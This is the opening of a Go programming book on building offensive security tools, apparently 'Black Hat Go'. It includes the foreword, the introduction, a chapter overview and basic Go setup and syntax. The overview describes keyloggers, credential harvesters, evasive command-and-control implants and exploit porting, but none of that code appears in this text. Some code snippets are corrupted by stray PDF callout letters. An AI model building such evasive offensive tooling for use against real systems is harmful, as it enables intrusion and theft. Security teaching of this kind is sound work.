Add ASCII Art . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 329
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 330
INDEX
331
FOR E WOR D
Programming languages have always had an impact
on information security. The design constraints, stan-
dard libraries, and protocol implementations avail-
able within each language end up defining the attack
surface of any application built on them. Security
tooling is no different; the right language can sim-
plify complex tasks and make the incredibly difficult
ones trivial. Go’s cross-platform support, single-binary output, concurrency
features, and massive ecosystem make it an amazing choice for security tool
development. Go is rewriting the rules for both secure application develop-
ment and the creation of security tools, enabling faster, safer, and more
portable tooling.
Over the 15 years that I worked on the Metasploit Framework, the
project went through two full rewrites, changed languages from Perl to
Ruby, and now supports a range of multilingual modules, extensions, and
payloads. These changes reflect the constantly evolving nature of software
development; in order to keep up in security, your tools need to adapt, and
xvi Foreword
using the right language can save an enormous amount of time. But just
like Ruby, Go didn’t become ubiquitous overnight. It takes a leap of faith to
build anything of value using a new language, given the uncertainties of the
ecosystem and the sheer amount of effort needed to accomplish common
tasks before the standard libraries catch up.
The authors of Black Hat Go are pioneers in Go security tool develop-
ment, responsible for some of the earliest open source Go projects, includ-
ing BlackSheepWall, Lair Framework, and sipbrute, among many others.
These projects serve as excellent examples of what can be built using the
language. The authors are just as comfortable building software as tearing
it apart, and this book is a great example of their ability to combine these
skills.
Black Hat Go provides everything necessary to get started with Go devel-
opment in the security space without getting bogged down into the lesser-
used language features. Want to write a ridiculous fast network scanner, evil
HTTP proxy, or cross-platform command-and-control framework? This book
is for you. If you are a seasoned programmer looking for insight into security
tool development, this book will introduce the concepts and trade-offs that
hackers of all stripes consider when writing tools. Veteran Go developers who
are interested in security may learn a lot from the approaches taken here, as
building tools to attack other software requires a different mindset than typi-
cal application development. Your design trade-offs will likely be substantially
different when your goals include bypassing security controls and evading
detection.
If you already work in offensive security, this book will help you build
utilities that are light-years faster than existing solutions. If you work on the
defense side or in incident response, this book will give you an idea of how
to analyze and defend against malware written in the Go language.
Happy hacking!
HD Moore
Founder of the Metasploit Project and the Critical Research Corporation
VP of Research and Development at Atredis Partners
ACK NOW L E DG M E N T S
This book would not be possible had Robert Griesemer,
Rob Pike, and Ken Thompson not created this awesome
development language. These folks and the entire core
Go development team consistently contribute useful
updates upon each release. We would have never writ-
ten this book had the language not been so easy and
fun to learn and use.
The authors would also like to thank the team at No Starch Press:
Laurel, Frances, Bill, Annie, Barbara, and everyone else with whom we
interacted. You all guided us through the unchartered territory of writing
our first book. Life happens—new families, new jobs—and all the while
you’ve been patient but still pushed us to complete this book. The entire
No Starch Press team has been a pleasure to work with on this project.
I would like to thank Jen for all her support, encouragement, and for keep-
ing life moving forward while I was locked away in my office nights and
weekends, working on this never-ending book. Jen, you helped me more
xviii Acknowledgments
than you know, and your constant words of encouragement helped make
this a reality. I am sincerely grateful to have you in my life. I must thank
“T” (my canine quadra-pet) for holding the floor down in my office while I
hacked away and reminding me that “outside” is a real place I should visit.
Lastly, and close to my heart, I want to dedicate this book to my pups, Luna
and Annie, who passed while I was writing this book. You girls were and are
everything to me and this book will always be a reminder of my love for you
both.
Chris Patten
I would like to extend a sincere thank you to my wife and best friend, Katie,
for your constant support, encouragement, and belief in me. Not a day goes
by when I’m not grateful for everything you do for me and our family. I’d
like to thank Brooks and Subs for giving me reason to work so hard. There
is no better job than being your father. And to the best “Office Hounds” a
guy could ask for—Leo (RIP), Arlo, Murphy, and even Howie (yes, Howie
too)—you’ve systematically destroyed my house and periodically made me
question my life choices, but your presence and companionship mean the
world to me. I’ll give each of you a signed copy of this book to chew on.
Dan Kottmann
Thank you to the love of my life, Jackie, for your love and encouragement;
nothing I do would be possible without your support and everything you
do for our family. Thank you to my friends and colleagues at Atredis
Partners and to anyone I’ve shared a shell with in the past. I am where
I am because of you. Thank you to my mentors and friends who have
believed in me since day one. There are too many of you to name; I am
grateful for the incredible people in my life. Thank you, Mom, for putting
me in computer classes (these were a thing). Looking back, those were a
complete waste of time and I spent most of the time playing Myst, but it
sparked an interest (I miss the 90s). Most importantly, thank you to my
Savior, Jesus Christ.
Tom Steele
It was a long road to get here—almost three years. A lot has happened
to get to this point, and here we are, finally. We sincerely appreciate the
early feedback we received from friends, colleagues, family, and early-release
readers. For your patience, dear reader, thank you so, so very much; we are
truly grateful and hope you enjoy this book just as much as we enjoyed writ-
ing it. All the best to you! Now Go create some amazing code!
IN T RODU C T ION
For about six years, the three of us led
one of North America’s largest dedicated
penetration-testing consulting practices. As
principal consultants, we executed technical
project work, including network penetration tests, on
behalf of our clients—but we also spearheaded the
development of better tools, processes, and methodology. And at some
point, we adopted Go as one of our primary development languages.
Go provides the best features of other programming languages, strik-
ing a balance between performance, safety, and user-friendliness. Soon, we
defaulted to it as our language of choice when developing tools. Eventually,
we even found ourselves acting as advocates of the language, pushing for
our colleagues in the security industry to try it. We felt the benefits of Go
were at least worthy of consideration.
In this book, we’ll take you on a journey through the Go programming
language from the perspective of security practitioners and hackers. Unlike
other hacking books, we won’t just show you how to automate third-party or
commercial tools (although we’ll touch on that a little). Instead, we’ll delve
xx Introduction
into practical and diverse topics that approach a specific problem, protocol,
or tactic useful to adversaries. We’ll cover TCP, HTTP, and DNS communi-
cations, interact with Metasploit and Shodan, search filesystems and data-
bases, port exploits from other languages to Go, write the core functions of
an SMB client, attack Windows, cross-compile binaries, mess with crypto,
call C libraries, interact with the Windows API, and much, much more. It’s
ambitious! We’d better begin . . .
Who This Book Is For
This book is for anyone who wants to learn how to develop their own hack-
ing tools using Go. Throughout our professional careers, and particularly
as consultants, we’ve advocated for programming as a fundamental skill
for penetration testers and security professionals. Specifically, the ability
to code enhances your understanding of how software works and how it
can be broken. Also, if you’ve walked in a developer’s shoes, you’ll gain a
more holistic appreciation for the challenges they face in securing software,
and you can use your personal experience to better recommend mitigations,
eliminate false positives, and locate obscure vulnerabilities. Coding often
forces you to interact with third-party libraries and various application stacks
and frameworks. For many people (us included), it’s hands-on experience and
tinkering that leads to the greatest personal development.
To get the most out of this book, we encourage you to clone the book’s
official code repository so you have all the working examples we’ll discuss.
Find the examples at https://github.com/blackhat-go/bhg/.
What This Book Isn’t
This book is not an introduction to Go programming in general but an
introduction to using Go for developing security tools. We are hackers and
then coders—in that order. None of us have ever been software engineers.
This means that, as hackers, we put a premium on function over elegance.
In many instances, we’ve opted to code as hackers do, disregarding some
of the idioms or best practices of software design. As consultants, time is
always scarce; developing simpler code is often faster and, therefore, prefer-
able over elegance. When you need to quickly create a solution to a problem,
style concerns come secondary.
This is bound to anger Go purists, who will likely tweet at us that we
don’t gracefully handle all error conditions, that our examples could be
optimized, or that better constructs or methods are available to produce
the desired results. We’re not, in most cases, concerned with teaching you
the best, the most elegant, or 100 percent idiomatic solutions, unless doing
so will concretely benefit the end result. Although we’ll briefly cover the
language syntax, we do so purely to establish a baseline foundation upon
which we can build. After all, this isn’t Learning to Program Elegantly with
Go—this is Black Hat Go.
Introduction xxi
Why Use Go for Hacking?
Prior to Go, you could prioritize ease of use by using dynamically typed
languages—such as Python, Ruby, or PHP—at the expense of performance
and safety. Alternatively, you could choose a statically typed language,
like C or C++, that offers high performance and safety but isn’t very user-
friendly. Go is stripped of much of the ugliness of C, its primary ancestor,
making development more user-friendly. At the same time, it’s a statically
typed language that produces syntax errors at compile time, increasing
your assurance that your code will actually run safely. As it’s compiled, it
performs more optimally than interpreted languages and was designed
with multicore computing considerations, making concurrent program-
ming a breeze.
These reasons for using Go don’t concern security practitioners specifi-
cally. However, many of the language’s features are particularly useful for
hackers and adversaries:
Clean package management system Go’s package management solu-
tion is elegant and integrated directly with Go’s tooling. Through the
use of the go binary, you can easily download, compile, and install pack-
ages and dependencies, which makes consuming third-party libraries
simple and generally free from conflict.
Cross-compilation One of the best features in Go is its ability to
cross-compile executables. So long as your code doesn’t interact with
raw C, you can easily write code on your Linux or Mac system but com-
pile the code in a Windows-friendly, Portable Executable format.
Rich standard library Time spent developing in other languages has
helped us appreciate the extent of Go’s standard library. Many modern
languages lack the standard libraries required to perform many common
tasks such as crypto, network communications, database connectivity,
and data encoding (JSON, XML, Base64, hex). Go includes many of
these critical functions and libraries as part of the language’s standard
packaging, reducing the effort necessary to correctly set up your devel-
opment environment or to call the functions.
Concurrency Unlike languages that have been around longer, Go
was released around the same time as the initial mainstream multicore
processors became available. For this reason, Go’s concurrency patterns
and performance optimizations are tuned specifically to this model.
Why You Might Not Love Go
We recognize that Go isn’t a perfect solution to every problem. Here are
some of the downsides of the language:
Binary size ’Nuff said. When you compile a binary in Go, the binary
is likely to be multiple megabytes in size. Of course, you can strip debug-
ging symbols and use a packer to help reduce the size, but these steps
xxii Introduction
require attention. This can be a drawback, particularly for security
practitioners who need to attach a binary to an email, host it on a
shared filesystem, or transfer it over a network.
Verbosity While Go is less verbose than languages like C#, Java, or
even C/C++, you still might find that the simplistic language construct
forces you to be overly expressive for things like lists (called slices in Go),
processing, looping, or error handling. A Python one-liner might easily
become a three-liner in Go.
Chapter Overview
The first chapter of this book covers a basic overview of Go’s syntax and
philosophy. Next, we start to explore examples that you can leverage for tool
development, including various common network protocols like HTTP, DNS,
and SMB. We then dig into various tactics and problems that we’ve encoun-
tered as penetration testers, addressing topics including data pilfering, packet
sniffing, and exploit development. Finally, we take a brief step back to talk
about how you can create dynamic, pluggable tools before diving into crypto,
attacking Microsoft Windows, and implementing steganography.
In many cases, there will be opportunities to extend the tools we show
you to meet your specific objectives. Although we present robust examples
throughout, our real intent is to provide you with the knowledge and foun-
dation through which you can extend or rework the examples to meet your
goals. We want to teach you to fish.
Before you continue with anything in this book, please note that we—
the authors and publisher—have created this content for legal usage only.
We won’t accept any liability for the nefarious or illegal things you choose
to do. All the content here is for educational purposes only; do not perform
any penetration-testing activities against systems or applications without
authorized consent.
The sections that follow provide a brief overview of each chapter.
Chapter 1: Go Fundamentals
The goal of this chapter is to introduce the fundamentals of the Go pro-
gramming language and provide a foundation necessary for understanding
the concepts within this book. This includes an abridged review of basic
Go syntax and idioms. We discuss the Go ecosystem, including supporting
tools, IDEs, dependency management, and more. Readers new to the pro-
gramming language can expect to learn the bare necessities of Go, which
will allow them to, hopefully, comprehend, implement, and extend the
examples in later chapters.
Chapter 2: TCP, Scanners, and Proxies
This chapter introduces basic Go concepts and concurrency primitives and
patterns, input/output (I/O), and the use of interfaces through practical
TCP applications. We’ll first walk you through creating a simple TCP port
Introduction xxiii
scanner that scans a list of ports using parsed command line options. This
will highlight the simplicity of Go code compared to other languages and will
develop your understanding of basic types, user input, and error handling.
Next, we’ll discuss how to improve the efficiency and speed of this port
scanner by introducing concurrent functions. We’ll then introduce I/O by
building a TCP proxy—a port forwarder—starting with basic examples and
refining our code to create a more reliable solution. Lastly, we’ll re-create
Netcat’s “gaping security hole” feature in Go, teaching you how to run oper-
ating system commands while manipulating stdin and stdout and redirect-
ing them over TCP.
Chapter 3: HTTP Clients and Remote Interaction with Tools
HTTP clients are a critical component to interacting with modern web
server architectures. This chapter shows you how to create the HTTP
clients necessary to perform a variety of common web interactions. You’ll
handle a variety of formats to interact with Shodan and Metasploit. We’ll
also demonstrate how to work with search engines, using them to scrape
and parse document metadata so as to extract information useful for
organizational profiling activities.
Chapter 4: HTTP Servers, Routing, and Middleware
This chapter introduces the concepts and conventions necessary for creat-
ing an HTTP server. We’ll discuss common routing, middleware, and tem-
plating patterns, leveraging this knowledge to create a credential harvester
and keylogger. Lastly, we’ll demonstrate how to multiplex command-and-
control (C2) connections by building a reverse HTTP proxy.
Chapter 5: Exploiting DNS
This chapter introduces you to basic DNS concepts using Go. First, we’ll
perform client operations, including how to look for particular domain
records. Then we’ll show you how to write a custom DNS server and DNS
proxy, both of which are useful for C2 operations.
Chapter 6: Interacting with SMB and NTLM
We’ll explore the SMB and NTLM protocols, using them as a basis for a
discussion of protocol implementations in Go. Using a partial implementa-
tion of the SMB protocol, we’ll discuss the marshaling and unmarshaling
of data, the usage of custom field tags, and more. We’ll discuss and demon-
strate how to use this implementation to retrieve the SMB-signing policy, as
well as perform password-guessing attacks.
Chapter 7: Abusing Databases and Filesystems
Pillaging data is a critical aspect of adversarial testing. Data lives in
numerous resources, including databases and filesystems. This chapter
introduces basic ways to connect to and interact with databases across a
xxiv Introduction
variety of common SQL and NoSQL platforms. You’ll learn the basics of
connecting to SQL databases and running queries. We’ll show you how to
search databases and tables for sensitive information, a common technique
used during post-exploitation. We’ll also show how to walk filesystems and
inspect files for sensitive information.
Chapter 8: Raw Packet Processing
We’ll show you how to sniff and process network packets by using the
gopacket library, which uses libpcap. You’ll learn how to identify available
network devices, use packet filters, and process those packets. We will then
develop a port scanner that can scan reliably through various protection
mechanisms, including syn-flood and syn-cookies, which cause normal
port scans to show excessive false positives.
Chapter 9: Writing and Porting Exploit Code
This chapter focuses almost solely on creating exploits. It begins with creat-
ing a fuzzer to discover different types of vulnerabilities. The second half
of the chapter discusses how to port existing exploits to Go from other lan-
guages. This discussion includes a port of a Java deserialization exploit and
the Dirty COW privilege escalation exploit. We conclude the chapter with
a discussion on creating and transforming shellcode for use within your
Go programs.
Chapter 10: Go Plugins and Extendable Tools
We’ll introduce two separate methods for creating extendable tools. The
first method, introduced in Go version 1.8, uses Go’s native plug-in mecha-
nism. We’ll discuss the use cases for this approach and discuss a second
approach that leverages Lua to create extensible tools. We’ll demonstrate
practical examples showing how to adopt either approach to perform a
common security task.
Chapter 11: Implementing and Attacking Cryptography
This chapter covers the fundamental concepts of symmetric and asymmetric
cryptography using Go. This information focuses on using and understand-
ing cryptography through the standard Go package. Go is one of the few
languages that, instead of using a third-party library for encryption, uses
a native implementation within the language. This makes the code easy to
navigate, modify, and understand.
We’ll explore the standard library by examining common use cases and
creating tools. The chapter will show you how to perform hashing, message
authentication, and encryption. Lastly, we’ll demonstrate how to brute-
force decrypt an RC2-encrypted ciphertext.
Introduction xxv
Chapter 12: Windows System Interaction and Analysis
In our discussion on attacking Windows, we’ll demonstrate methods of inter-
acting with the Windows native API, explore the syscall package in order to
perform process injection, and learn how to build a Portable Executable (PE)
binary parser. The chapter will conclude with a discussion of calling native C
libraries through Go’s C interoperability mechanisms.
Chapter 13: Hiding Data with Steganography
Steganography is the concealment of a message or file within another file.
This chapter introduces one variation of steganography: hiding arbitrary
data within a PNG image file’s contents. These techniques can be useful for
exfiltrating information, creating obfuscated C2 messages, and bypassing
detective or preventative controls.
Chapter 14: Building a Command-and-Control RAT
The final chapter discusses practical implementations of command-and-
control (C2) implants and servers in Go. We’ll leverage the wisdom and
knowledge gained in previous chapters to build a C2 channel. The C2
client/server implementation will, by nature of being custom-made, avoid
signature-based security controls and attempt to circumvent heuristics and
network-based egress controls.
This chapter will guide you through the
process of setting up your Go development
environment and introduce you to the
language’s syntax. People have written entire
books on the fundamental mechanics of the language;
this chapter covers the most basic concepts you’ll need
in order to work through the code examples in the following chapters. We’ll
cover everything from primitive data types to implementing concurrency.
For readers who are already well versed in the language, you’ll find much
of this chapter to be a review.
Setting Up a Development Environment
To get started with Go, you’ll need a functional development environment.
In this section, we’ll walk you through the steps to download Go and set up
your workspace and environment variables. We’ll discuss various options
for your integrated development environment and some of the standard
tooling that comes with Go.
1
GO F U N DA M E N TA L S
2 Chapter 1
Downloading and Installing Go
Start by downloading the Go binary release most appropriate to your oper-
ating system and architecture from https://golang.org/dl/. Binaries exist for
Windows, Linux, and macOS. If you’re using a system that doesn’t have
an available precompiled binary, you can download the Go source code
from that link.
Execute the binary and follow the prompts, which will be minimal,
in order to install the entire set of Go core packages. Packages, called
libraries in most other languages, contain useful code you can use in
your Go programs.
Setting GOROOT to Define the Go Binary Location
Next, the operating system needs to know how to find the Go installation.
In most instances, if you’ve installed Go in the default path, such as /usr
/local/go on a *Nix/BSD-based system, you don’t have to take any action
here. However, in the event that you’ve chosen to install Go in a nonstandard
path or are installing Go on Windows, you’ll need to tell the operating system
where to find the Go binary.
You can do this from your command line by setting the reserved GOROOT
environment variable to the location of your binary. Setting environment
variables is operating-system specific. On Linux or macOS, you can add this
to your ~/.profile:
set GOROOT=/path/to/go
On Windows, you can add this environment variable through the
System (Control Panel), by clicking the Environment Variables button.
Setting GOPATH to Determine the Location of Your Go Workspace
Unlike setting your GOROOT, which is necessary in only certain installation
scenarios, you must always define an environment variable named GOPATH
to instruct the Go toolset where your source code, third-party libraries,
and compiled programs will exist. This can be any location of your choos-
ing. Once you’ve chosen or created this base workspace directory, create
the following three subdirectories within: bin, pkg, and src (more on these
directories shortly). Then, set an environment variable named GOPATH that
points to your base workspace directory. For example, if you want to place
your projects in a directory called gocode located within your home directory
on Linux, you set GOPATH to the following:
GOPATH=$HOME/gocode
The bin directory will contain your compiled and installed Go execut-
able binaries. Binaries that are built and installed will be automatically
placed into this location. The pkg directory stores various package objects,
including third-party Go dependencies that your code might rely on. For
Go Fundamentals 3
example, perhaps you want to use another developer’s code that more
elegantly handles HTTP routing. The pkg directory will contain the binary
artifacts necessary to consume their implementation in your code. Finally,
the src directory will contain all the evil source code you’ll write.
The location of your workspace is arbitrary, but the directories within
must match this naming convention and structure. The compilation,
build, and package management commands you’ll learn about later in
this chapter all rely on this common directory structure. Without this
important setup, Go projects won’t compile or be able to locate any of
their necessary dependencies!
After configuring the necessary GOROOT and GOPATH environment vari-
ables, confirm that they’re properly set. You can do this on Linux and
Windows via the set command. Also, check that your system can locate
the binary and that you’ve installed the expected Go version with the go
version command:
$ go version
go version go1.11.5 linux/amd64
This command should return the version of the binary you installed.
Choosing an Integrated Development Environment
Next, you’ll probably want to select an integrated development environ-
ment (IDE) in which to write your code. Although an IDE isn’t required,
many have features that help reduce errors in your code, add version-
control shortcuts, aid in package management, and more. As Go is still
a fairly young language, there may not be as many mature IDEs as for
other languages.
Fortunately, advancements over the last few years leave you with sev-
eral, full-featured options. We’ll review some of them in this chapter. For
a more complete list of IDE or editor options, check out the Go wiki page
at https://github.com/golang/go/wiki/IDEsAndTextEditorPlugins/. This book is
IDE/editor agnostic, meaning we won’t force you into any one solution.
Vim Editor
The Vim text editor, available in many operating-system distributions, pro-
vides a versatile, extensible, and completely open source development envi-
ronment. One appealing feature of Vim is that it lets users run everything
from their terminal without fancy GUIs getting in the way.
Vim contains a vast ecosystem of plug-ins through which you can cus-
tomize themes, add version control, define snippets, add layout and code-
navigation features, include autocomplete, perform syntax highlighting and
linting, and much, much more. Vim’s most common plug-in management
systems include Vundle and Pathogen.
To use Vim for Go, install the vim-go plug-in (https://github.com/fatih/vim-go/)
shown in Figure 1-1.
4 Chapter 1
Figure 1-1: The vim-go plug-in
Of course, to use Vim for Go development, you’ll have to become com-
fortable with Vim. Further, customizing your development environment
with all the features you desire might be a frustrating process. If you use
Vim, which is free, you’ll likely need to sacrifice some of the conveniences
of commercial IDEs.
GitHub Atom
GitHub’s IDE, called Atom (https://atom.io/), is a hackable text editor with a
large offering of community-driven packages. Unlike Vim, Atom provides
a dedicated IDE application rather than an in-terminal solution, as shown
in Figure 1-2.
Figure 1-2: Atom with Go support
Go Fundamentals 5
Like Vim, Atom is free. It provides tiling, package management, version
control, debugging, autocomplete, and a myriad of additional features out
of the box or through the use of the go-plus plug-in, which provides dedi-
cated Go support (https://atom.io/packages/go-plus/).
Microsoft Visual Studio Code
Microsoft’s Visual Studio Code, or VS Code (https://code.visualstudio.com), is
arguably one of the most feature-rich and easiest IDE applications to con-
figure. VS Code, shown in Figure 1-3, is completely open source and distrib-
uted under an MIT license.
Figure 1-3: The VS Code IDE with Go support
VS Code supports a diverse set of extensions for themes, versioning,
code completion, debugging, linting, and formatting. You can get Go inte-
gration with the vscode-go extension (https://github.com/Microsoft/vscode-go/).
JetBrains GoLand
The JetBrains collection of development tools are efficient and feature-rich,
making both professional development and hobbyist projects easy to accom-
plish. Figure 1-4 shows what the JetBrains GoLand IDE looks like.
GoLand is the JetBrains commercial IDE dedicated to the Go language.
Pricing for GoLand ranges from free for students, to $89 annually for indi-
viduals, to $199 annually for organizations. GoLand offers all the expected
features of a rich IDE, including debugging, code completion, version con-
trol, linting, formatting, and more. Although paying for a product may not
sound appealing, commercial products such as GoLand typically have official
support, documentation, timely bug fixes, and some of the other assurances
that come with enterprise software.
6 Chapter 1
Figure 1-4: The GoLand commercial IDE
Using Common Go Tool Commands
Go ships with several useful commands that simplify the development pro-
cess. The commands themselves are commonly included in IDEs, making
the tooling consistent across development environments. Let’s take a look
at some of these commands.
The go run Command
One of the more common commands you’ll execute during development, go
run will compile and execute the main package—your program’s entry point.
As an example, save the following code under a project directory within
$GOPATH/src (remember, you created this workspace during installation)
as main.go:
package main
import (
"fmt"
)
func main() {
fmt.Println("Hello, Black Hat Gophers!")
}
From the command line, within the directory containing this file,
execute go run main.go. You should see Hello, Black Hat Gophers! printed
to your screen.
The go build Command
Note that go run executed your file, but it didn’t produce a standalone
binary file. That’s where go build comes in. The go build command com-
piles your application, including any packages and their dependencies,
Go Fundamentals 7
without installing the results. It creates a binary file on disk but doesn’t
execute your program. The files it creates follow reasonable naming con-
ventions, but it’s not uncommon to change the name of the created binary
file by using the -o output command line option.
Rename main.go from the previous example to hello.go. In a terminal
window, execute go build hello.go. If everything goes as intended, this
command should create an executable file with the name hello. Now
enter this command:
$ ./hello
Hello, Black Hat Gophers!
This should run the standalone binary file.
By default, the produced binary file contains debugging information
and the symbol table. This can bloat the size of the file. To reduce the file
size, you can include additional flags during the build process to strip this
information from the binary. For example, the following command will
reduce the binary size by approximately 30 percent:
$ go build -ldflags "-w -s"
Having a smaller binary will make it more efficient to transfer or embed
while pursuing your nefarious endeavors.
Cross-Compiling
Using go build works great for running a binary on your current system or
one of identical architecture, but what if you want to create a binary that
can run on a different architecture? That’s where cross-compiling comes
in. Cross-compiling is one of the coolest aspects of Go, as no other language
can do it as easily. The build command allows you to cross-compile your pro-
gram for multiple operating systems and architectures. Reference the offi-
cial Go documentation at https://golang.org/doc/install/source#environment/
for further details regarding allowable combinations of compatible operat-
ing system and architecture compilation types.
To cross-compile, you need to set a constraint. This is just a means to
pass information to the build command about the operating system and
architecture for which you’d like to compile your code. These constraints
include GOOS (for the operating system) and GOARCH (for the architecture).
You can introduce build constraints in three ways: via the command
line, code comments, or a file suffix naming convention. We’ll discuss the
command line method here and leave the other two methods for you to
research if you wish.
Let’s suppose that you want to cross-compile your previous hello.go
program residing on a macOS system so that it runs on a Linux 64-bit
8 Chapter 1
architecture. You can accomplish this via the command line by setting the
GOOS and GOARCH constraints when running the build command:
$ GOOS="linux" GOARCH="amd64" go build hello.go
$ ls
hello hello.go
$ file hello
hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
The output confirms that the resulting binary is a 64-bit ELF (Linux) file.
The cross-compilation process is much simpler in Go than in just about
any other modern programming language. The only real “gotcha” happens
when you try to cross-compile applications that use native C bindings. We’ll
stay out of the weeds and let you dig into those challenges independently.
Depending on the packages you import and the projects you develop, you
may not have to worry about that very often.
The go doc Command
The go doc command lets you interrogate documentation about a package,
function, method, or variable. This documentation is embedded as com-
ments through your code. Let’s take a look at how to obtain details about
the fmt.Println() function:
$ go doc fmt.Println
func Println(a ...interface{}) (n int, err error)
Println formats using the default formats for its operands and writes to
standard output. Spaces are always added between operands and a newline
is appended. It returns the number of bytes written and any write error
encountered.
The output that go doc produces is taken directly out of the source code
comments. As long as you adequately comment your packages, functions,
methods, and variables, you’ll be able to automatically inspect the docu-
mentation via the go doc command.
The go get Command
Many of the Go programs that you’ll develop in this book will require third-
party packages. To obtain package source code, use the go get command.
For instance, let’s assume you’ve written the following code that imports the
stacktitan/ldapauth package:
package main
import (
"fmt"
"net/http"
u "github.com/stacktitan/ldapauth"
)
Go Fundamentals 9
Even though you’ve imported the stacktitan/ldapauth package u, you
can’t access the package quite yet. You first have to run the go get com-
mand. Using go get github.com/stacktitan/ldapauth downloads the actual
package and places it within the $GOPATH/src directory.
The following directory tree illustrates the placement of the ldapauth
package within your GOPATH workspace:
$ tree src/github.com/stacktitan/
u src/github.com/stacktitan/
└── ldapauth
├── LICENSE
├── README.md
└── ldap_auth.go
Notice that the path u and the imported package name are constructed
in a way that avoids assigning the same name to multiple packages. Using
github.com/stacktitan as a preface to the actual package name ldapauth ensures
that the package name remains unique.
Although Go developers traditionally install dependencies with go
get, problems can arise if those dependent packages receive updates that
break backward compatibility. Go has introduced two separate tools—dep
and mod—to lock dependencies in order to prevent backward compatibil-
ity issues. However, this book almost exclusively uses go get to pull down
dependencies. This will help avoid inconsistencies with ongoing depen-
dency management tooling and hopefully make it easier for you to get
the examples up and running.
The go fmt Command
The go fmt command automatically formats your source code. For example,
running go fmt /path/to/your/package will style your code by enforcing the
use of proper line breaks, indentation, and brace alignment.
Adhering to arbitrary styling preferences might seem strange at first,
particularly if they differ from your habits. However, you should find this
consistency refreshing over time, as your code will look similar to other
third-party packages and feel more organized. Most IDEs contain hooks
that will automatically run go fmt when you save your file, so you don’t need
to explicitly run the command.
The golint and go vet Commands
Whereas go fmt changes the syntactical styling of your code, golint reports
style mistakes such as missing comments, variable naming that doesn’t fol-
low conventions, useless type specifications, and more. Notice that golint
is a standalone tool, and not a subcommand of the main go binary. You’ll
need to install it separately by using go get -u golang.org/x/lint/golint.
Similarly, go vet inspects your code and uses heuristics to identify suspi-
cious constructs, such as calling Printf() with the incorrect format string
types. The go vet command attempts to identify issues, some of which might
be legitimate bugs, that a compiler might miss.
10 Chapter 1
Go Playground
The Go Playground is an execution environment hosted at https://play.golang
.org/ that provides a web-based frontend for developers to quickly develop,
test, execute, and share snippets of Go code. The site makes it easy to try
out various Go features without having to install or run Go on your local
system. It’s a great way to test snippets of code before integrating them
within your projects.
It also allows you to simply play with various nuances of the language
in a preconfigured environment. It’s worth noting that the Go Playground
restricts you from calling certain dangerous functions to prevent you from,
for example, executing operating-system commands or interacting with
third-party websites.
Other Commands and Tools
Although we won’t explicitly discuss other tools and commands, we
encourage you to do your own research. As you create increasingly com-
plex projects, you’re likely to run into a desire to, for example, use the go
test tool to run unit tests and benchmarks, cover to check for test cover-
age, imports to fix import statements, and more.
Understanding Go Syntax
An exhaustive review of the entire Go language would take multiple chapters,
if not an entire book. This section gives a brief overview of Go’s syntax, partic -
ularly relative to data types, control structures, and common patterns. This
should act as a refresher for casual Go coders and an introduction for those
new to the language.
For an in-depth, progressive review of the language, we recommend
that you work through the excellent A Tour of Go (https://tour.golang.org/)
tutorial. It’s a comprehensive, hands-on discussion of the language broken
into bite-sized lessons that use an embedded playground to enable you to
try out each of the concepts.
The language itself is a much cleaner version of C that removes a lot of
the lower-level nuances, resulting in better readability and easier adoption.
Data Types
Like most modern programming languages, Go provides a variety of primi-
tive and complex data types. Primitive types consist of the basic building
blocks (such as strings, numbers, and booleans) that you’re accustomed to
in other languages. Primitives make up the foundation of all information
used within a program. Complex data types are user-defined structures com-
posed of a combination of one or more primitive or other complex types.
Go Fundamentals 11
Primitive Data Types
The primitive types include bool, string, int, int8, int16, int32, int64, uint,
uint8, uint16, uint32, uint64, uintptr, byte, rune, float32, float64, complex64, and
complex128.
You typically declare a variable’s type when you define it. If you don’t,
the system will automatically infer the variable’s data type. Consider the
following examples:
var x = "Hello World"
z := int(42)
In the first example, you use the keyword var to define a variable
named x and assign to it the value "Hello World". Go implicitly infers x to
be a string, so you don’t have to declare that type. In the second example,
you use the := operator to define a new variable named z and assign to it
an integer value of 42. There really is no difference between the two opera-
tors. We’ll use both throughout this book, but some people feel that the :=
operator is an ugly symbol that reduces readability. Choose whatever works
best for you.
In the preceding example, you explicitly wrap the 42 value in an int
call to force a type on it. You could omit the int call but would have to
accept whatever type the system automatically uses for that value. In some
cases, this won’t be the type you intended to use. For instance, perhaps you
want 42 to be represented as an unsigned integer, rather than an int type,
in which case you’d have to explicitly wrap the value.
Slices and Maps
Go also has more-complex data types, such as slices and maps. Slices are
like arrays that you can dynamically resize and pass to functions more effi-
ciently. Maps are associative arrays, unordered lists of key/value pairs that
allow you to efficiently and quickly look up values for a unique key.
There are all sorts of ways to define, initialize, and work with slices and
maps. The following example demonstrates a common way to define both
a slice s and a map m and add elements to both:
var s = make([]string, 0)
var m = make(map[string]string)
s = append(s, "some string")
m["some key"] = "some value"
This code uses the two built-in functions: make() to initialize each
variable and append() to add a new item to a slice. The last line adds the
key/value pair of some key and some value to the map m. We recommend
that you read the official Go documentation to explore all the methods
for defining and using these data types.
12 Chapter 1
Pointers, Structs, and Interfaces
A pointer points to a particular area in memory and allows you to retrieve
the value stored there. As you do in C, you use the & operator to retrieve the
address in memory of some variable, and the * operator to dereference the
address. The following example illustrates this:
u var count = int(42)
v ptr := &count
w fmt.Println(*ptr)
x *ptr = 100
y fmt.Println(count)
The code defines an integer, count u, and then creates a pointer v by
using the & operator. This returns the address of the count variable. You
dereference the variable w while making a call to fmt.Println() to log the
value of count to stdout. You then use the * operator x to assign a new value
to the memory location pointed to by ptr. Because this is the address of the
count variable, the assignment changes the value of that variable, which you
confirm by printing it to the screen y.
You use the struct type to define new data types by specifying the type’s
associated fields and methods. For example, the following code defines a
Person type:
u type Person struct {
v Name string
w Age int
}
x func (p *Person) SayHello() {
fmt.Println("Hello,", p.Namey)
}
func main() {
var guy = newz(Person)
{ guy.Name = "Dave"
| guy.SayHello()
}
The code uses the type keyword u to define a new struct containing two
fields: a string named Name v and an int named Age w.
You define a method, SayHello(), on the Person type assigned to variable
p x. The method prints a greeting message to stdout by looking at the
struct, p y, that received the call. Think of p as a reference to self or this
in other languages. You also define a function, main(), which acts as the
program’s entry point. This function uses the new keyword z to initialize
a new Person. It assigns the name Dave to the person { and then tells the
person to SayHello() |.
Structs lack scoping modifiers—such as private, public, or protected—
that are commonly used in other languages to control access to their
members. Instead, Go uses capitalization to determine scope: types and
